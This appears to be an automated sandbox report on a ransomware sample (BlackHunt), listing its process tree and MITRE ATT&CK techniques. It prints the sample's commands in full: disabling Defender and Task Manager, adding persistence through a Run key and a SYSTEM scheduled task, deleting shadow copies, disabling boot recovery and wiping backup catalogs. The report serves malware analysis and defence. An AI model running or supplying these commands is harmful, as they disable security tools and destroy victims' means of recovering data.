"C:\Users\Admin\AppData\Local\Temp\5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3276
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4764
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    PID:4044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4368
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:5068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:1560
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4032
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    PID:3608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1864
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:3832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:3788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:564
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:4860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2284
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:4676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:4516
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:3988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:3500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1200
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3116
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1408
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:4472
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2444
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:5040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4688
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4196
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:3872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4120
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:840
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:4204
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe" /F
  2⤵
  PID:4868
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:4320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:3560
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3608
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    - Suspicious use of WriteProcessMemory
    PID:1604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2484
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:4744
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1560
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:4024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4748
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:3848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4676
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3900
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:756
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2820
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1852
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1952
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:4040

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2500

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:4044

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4752

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery